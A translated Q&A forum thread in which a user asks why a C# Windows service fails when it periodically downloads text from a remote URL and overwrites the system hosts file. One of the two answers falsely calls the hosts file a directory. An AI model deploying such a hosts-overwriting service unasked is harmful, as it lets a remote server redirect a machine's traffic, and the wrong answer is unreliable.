service that modifies the host file in c #

-1

is to see if they could help me, is that I have created a windows service that should modify the host files, but it does not work, please someone to help me the truth I do not know what I'm failing.

using System;
using System.ServiceProcess;
using System.IO;
using System.Timers;
using System.Net;

namespace PeerfyService
{
    public partial class Service1 : ServiceBase
    {
        private Timer timer = new Timer();
        private double servicePollInterval;
              public Service1()
        {
            InitializeComponent();
        }

        protected override void OnStart(string[] args)
        {
            timer.Elapsed += new ElapsedEventHandler(timer_Elapsed);
            //providing the time in miliseconds 
            timer.Interval = servicePollInterval;
            timer.AutoReset = true;
            timer.Enabled = true;
            timer.Start();
        }

        void timer_Elapsed(object sender, EventArgs e)
        {
            string Reply = new WebClient().DownloadString("http://admin.appguardian.co/peerfy/hosts");
            string google = @"C:\Windows\System32\drivers\etc\hosts";
            File.WriteAllText(google, Reply);

        }



        protected override void OnContinue()
        {
            base.OnContinue();
            timer.Start();
        }
        protected override void OnPause()
        {
            base.OnPause();
            timer.Stop();
        }

        protected override void OnShutdown()
        {
            base.OnShutdown();
            timer.Stop();
        }

        protected override void OnStop()
        {
            timer.Stop();
        }
    }
}
    
asked by Nelson Redondo Barros 21.11.2017 в 16:03
source

2 answers

0

There are many possibilities. You should try to find out if an error is occurring and which one.

You can look in the event viewer of the machine where the service is running to see if an error is being recorded. You could also enter traces to see where the problem occurs.

Another option is to debug the service, although it is not as simple as with a desktop application it can be done: How to: Debug Windows Service Applications

Make sure that the user with whom the service is running (you can see it in the service startup configuration) has permissions to access and overwrite the file hosts and to access the internet to download the file.

On the other hand, I see that you never initialize the variable servicePollInterval , so it will always have a value of 0, a value that is not valid for the property Interval of Timer .

    
answered by 21.11.2017 в 16:20
0

Although you do not explain exactly what you are doing, File.WriteAllText(path, text) expects a file path but you are sending it a directory path.

string Reply = new WebClient().DownloadString("http://admin.appguardian.co/peerfy/hosts");
string google = @"C:\Windows\System32\drivers\etc\hosts";

// invalido, google contiene la ruta de un directorio, no un archivo!
File.WriteAllText(google, Reply);

C:\Windows\System32\drivers\etc\hosts is a directory, not a file. If you have a file called host , then you have to specify the extension of it. For example C:\Windows\System32\drivers\etc\hosts.txt .

If C:\Windows\System32\drivers\etc\hosts is a directory, then you have to specify what file to write to, such as: C:\Windows\System32\drivers\etc\hosts\datos.txt .

    
answered by 21.11.2017 в 17:11